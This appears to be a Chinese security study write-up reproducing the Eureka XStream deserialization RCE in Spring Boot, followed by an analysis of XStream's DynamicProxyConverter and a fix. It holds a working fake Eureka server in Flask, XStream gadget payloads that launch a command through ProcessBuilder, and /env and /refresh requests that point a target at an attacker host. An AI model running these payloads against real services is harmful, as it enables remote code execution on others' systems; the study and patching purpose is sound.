Java代码审计之Eureka Xstream RCE
注:本文为复现文和学习文,原创极少,参考了大量参考链接里的内容~感兴趣者自行阅读原作
0x01. 原理
- eureka.client.serviceUrl.defaultZone 属性被设置为恶意的外部 eureka server URL 地址
- refresh 触发目标机器请求远程 URL,提前架设的 fake eureka server 就会返回恶意的 payload
- 目标机器相关依赖解析 payload,触发 XStream 反序列化,造成 RCE 漏洞
0x02. 利用条件:
- 可以 POST 请求目标网站的
/env
接口设置属性 - 可以 POST 请求目标网站的
/refresh
接口刷新配置(存在spring-boot-starter-actuator
依赖) - 目标使用的
eureka-client
< 1.8.7(通常包含在spring-cloud-starter-netflix-eureka-client
依赖中) - 目标可以请求攻击者的 HTTP 服务器(请求可出外网)
/env可访问
/env中含 spring-boot-starter-actuator- (/refresh需要)
spring-cloud-starter-netflix-eureka-client-
eureka-client-
0x03. 复现过程
1. 访问env
有spring-boot-starter-actuator-字符串
有spring-cloud-starter-netflix-eureka-client- 和eureka-client- 字符串
2. 架设响应恶意 XStream payload 的网站
项目地址https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/springboot-xstream-rce.py
# -*- coding: utf-8 -*-
from flask import Flask, Response
app = Flask(__name__)
@app.route('/', defaults={'path': ''})
@app.route('/<path:path>', methods = ['GET', 'POST'])
def catch_all(path):
xml = """<linked-hash-set>
<jdk.nashorn.internal.objects.NativeString>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator"/>
<next class="java.lang.ProcessBuilder">
<command>
<string>cmd.exe</string>
<string>/c</string>
<string>calc.exe</string>
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filter class="javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>foo</name>
</filter>
<next class="string">foo</next>
</serviceIterator>
<lock/>
</cipher>
<input class="java.lang.ProcessBuilder$NullInputStream"/>
<ibuffer></ibuffer>
</is>
</dataSource>
</dataHandler>
</value>
</jdk.nashorn.internal.objects.NativeString>
</linked-hash-set>"""
return Response(xml, mimetype='application/xml')
if __name__ == "__main__":
app.run(host='0.0.0.0', port=8010)
3. 利用
设置 eureka.client.serviceUrl.defaultZone 属性
spring 1.x
POST /env HTTP/1.1
Host: 127.0.0.1:9093
Content-Type: application/x-www-form-urlencoded
eureka.client.serviceUrl.defaultZone=http://your-vps-ip/example
spring 2.x
POST /actuator/env HTTP/1.1
Host: 127.0.0.1:9093
Content-Type: application/json
{"name":"eureka.client.serviceUrl.defaultZone","value":"http://your-vps-ip/example"}
Attack
POST /env HTTP/1.1
Host: 127.0.0.1:9093
Content-Type: application/x-www-form-urlencoded
Content-Length: 75
eureka.client.serviceUrl.defaultZone=http://IP:8010/springboot_win
刷新配置
spring 1.x
POST /refresh
Host: 127.0.0.1:9092
Content-Type: application/x-www-form-urlencoded
spring 2.x
POST /actuator/refresh
Host: 127.0.0.1:9092
Content-Type: application/json
Attack
POST /refresh
Host: 127.0.0.1:9093
Content-Type: application/x-www-form-urlencoded
此时有请求到Web服务上
同时弹出了计算器
0x04 Xstream反序列化原理分析
1. 影响范围
在1.4.x系列版本中,<=1.4.6或=1.4.10是存在反序列化漏洞的。
Marshaller接口,将Java对象序列化为XML数据。
Unmarshaller接口,将XML数据反序列化为Java对象。
CVE-2021-21344 | 任意代码执行 | XStream易受任意代码执行攻击。 |
---|---|---|
CVE-2021-21345 | 远程命令执行 | XStream易受远程命令执行攻击。 |
CVE-2021-21346 | 任意代码执行 | XStream易受任意代码执行攻击。 |
CVE-2021-21347 | 任意代码执行 | XStream易受任意代码执行攻击。 |
CVE-2021-21350 | 任意代码执行 | XStream易受任意代码执行攻击。 |
CVE-2021-21351 | 任意代码执行 | XStream易受任意代码执行攻击。 |
2. 基本原理
XStream是自己实现的一套序列化和反序列化机制,核心是通过Converter转换器来将XML和对象之间进行相互的转换,这便与原生的Java序列化和反序列化机制有所区别,因此两者的反序列化漏洞也是有着很大区别的。
XStream反序列化漏洞的存在是因为XStream支持一个名为DynamicProxyConverter的转换器,该转换器可以将XML中dynamic-proxy标签内容转换成动态代理类对象,而当程序调用了dynamic-proxy标签内的interface标签指向的接口类声明的方法时,就会通过动态代理机制代理访问dynamic-proxy标签内handler标签指定的类方法;利用这个机制,攻击者可以构造恶意的XML内容,即dynamic-proxy标签内的handler标签指向如EventHandler类这种可实现任意函数反射调用的恶意类、interface标签指向目标程序必然会调用的接口类方法;最后当攻击者从外部输入该恶意XML内容后即可触发反序列化漏洞、达到任意代码执行的目的。
Converter转换器
对象转换为XML或将XML转换为对象
转换器需要实现3个方法:
- canConvert方法:告诉XStream对象,它能够转换的对象;
- marshal方法:能够将对象转换为XML时候的具体操作;
- unmarshal方法:能够将XML转换为对象时的具体操作;
动态代理转换器
DynamicProxyConverter即动态代理转换器,是XStream支持的一种转换器,其存在使得XStream能够把XML内容反序列化转换为动态代理类对象
XStream反序列化漏洞的PoC都是以DynamicProxyConverter这个转换器为基础来编写的。
以官网给的例子为例:
<dynamic-proxy>
<interface>com.foo.Blah</interface>
<interface>com.foo.Woo</interface>
<handler class="com.foo.MyHandler">
<something>blah</something>
</handler>
</dynamic-proxy>
dynamic-proxy标签在XStream反序列化之后会得到一个动态代理类对象,当访问了该对象的com.foo.Blah或com.foo.Woo这两个接口类中声明的方法时(即interface标签内指定的接口类),就会调用handler标签中的类方法com.foo.MyHandler。
3. 序列化和反序列化
People.java
package com.DemoXstream.Demo1;
import java.io.IOException;
import java.io.Serializable;
public class People implements Serializable{
private String name;
private int age;
private Company workCompany;
public People(String name, int age, Company workCompany) {
this.name = name;
this.age = age;
this.workCompany = workCompany;
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
public Company getWorkCompany() {
return workCompany;
}
public void setWorkCompany(Company workCompany) {
this.workCompany = workCompany;
}
private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException {
s.defaultReadObject();
System.out.println("Read People");
}
}
Company.java
package com.DemoXstream.Demo1;
import java.io.IOException;
import java.io.Serializable;
public class Company implements Serializable {
private String companyName;
private String companyLocation;
public Company(String companyName, String companyLocation) {
this.companyName = companyName;
this.companyLocation = companyLocation;
}
public String getCompanyName() {
return companyName;
}
public void setCompanyName(String companyName) {
this.companyName = companyName;
}
public String getCompanyLocation() {
return companyLocation;
}
public void setCompanyLocation(String companyLocation) {
this.companyLocation = companyLocation;
}
private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException {
s.defaultReadObject();
System.out.println("Company");
}
}
DemoMain.java
package com.DemoXstream.Demo1;
import com.thoughtworks.xstream.XStream;
public class DemoMain {
public static void main(String[] args) throws Exception {
XStream xStream = new XStream();
People people = new People("xiaoming",25,new Company("TopSec","BeiJing"));
String xml = xStream.toXML(people);
System.out.println(xml);
Object xml2 = xStream.fromXML(xml);
System.out.println(xml2);
}
}
4. 基于sorted-set的Poc
适用范围 : 1.4.5,1.4.6,1.4.10
pom
<!-- https://mvnrepository.com/artifact/com.thoughtworks.xstream/xstream -->
<dependency>
<groupId>com.thoughtworks.xstream</groupId>
<artifactId>xstream</artifactId>
<version>1.4.5</version>
</dependency>
IPerson.java
package com.DemoXstream.DemoSortedSet;
public interface IPerson {
void output();
}
Person.java
package com.DemoXstream.DemoSortedSet;
public class Person implements IPerson {
String name;
int age;
public void output() {
System.out.print("Hello, this is " + this.name + ", age " + this.age);
}
}
payload1.xml
<sorted-set>
<string>foo</string>
<dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class="java.beans.EventHandler">
<target class="java.lang.ProcessBuilder">
<command>
<string>/bin/bash</string>
<string>-c</string>
<string>open -a Calculator</string>
</command>
</target>
<action>start</action>
</handler>
</dynamic-proxy>
</sorted-set>
DemoSortedSet.java
package com.DemoXstream.DemoSortedSet;
import com.thoughtworks.xstream.XStream;
import com.thoughtworks.xstream.io.xml.DomDriver;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
public class DemoSortedSet {
public static void main(String []args) throws FileNotFoundException{
FileInputStream xml = new FileInputStream("src/main/java/com/DemoXstream/DemoSortedSet/payload1.xml");
XStream xstream = new XStream(new DomDriver());
Person p = (Person) xstream.fromXML(xml);
p.output();
}
}
弹出计算器
原理过于复杂,没跟下去。。。
5. 基于tree-map的Poc
适用范围
通杀1.4.x系列有漏洞的版本,即<=1.4.6或=1.4.10。
复现
payload2.xml:
<tree-map>
<entry>
<string>fookey</string>
<string>foovalue</string>
</entry>
<entry>
<dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class="java.beans.EventHandler">
<target class="java.lang.ProcessBuilder">
<command>
<string>calc.exe</string>
</command>
</target>
<action>start</action>
</handler>
</dynamic-proxy>
<string>good</string>
</entry>
</tree-map>
0x05 eureka xstream deserialization RCE触发点
refresh接口抓包
发现eureka加载了xstream的组件
在com\netflix\eureka\eureka-client\1.4.11\eureka-client-1.4.11.jar!\com\netflix\discovery\converters\wrappers\CodecWrappers.class
调用了xstream.fromXML()
发现调用的是1.4.9的xstream版本。按理说该版本不存在反序列化漏洞~但是最后能执行了命令。后续再研究
com\thoughtworks\xstream\xstream\1.4.9\xstream-1.4.9.jar!\com\thoughtworks\xstream\XStream.class
0x06. 总结
1.白盒审计定位漏洞点
- 查看目标环境中是否有存在漏洞版本的XStream的jar包,即1.4.x系列版本中<=1.4.6或=1.4.10;
- 全局搜索是否存在
Xstream.fromXML(
的地方,若存在则进一步分析该参数是否外部可控;若为1.4.10版本的还需要确认是否开启了安全配置进行了有效的防御;
2. 修复方案
- 将XStream升级到最新版,即1.4.11之后的版本;
0x07. 参考链接
主要参考:
https://www.mi1k7ea.com/2019/10/21/XStream%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/
https://github.com/LandGrey/SpringBootVulExploit#0x03eureka-xstream-deserialization-rce
利用链:
http://m0d9.me/2021/05/08/Xstream%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E8%AF%A6%E8%A7%A3%EF%BC%88%E4%B8%80%EF%BC%89/
https://lightless.me/archives/xstream-rce-analysis.html
https://paper.seebug.org/1543/#2-cve-2021-21344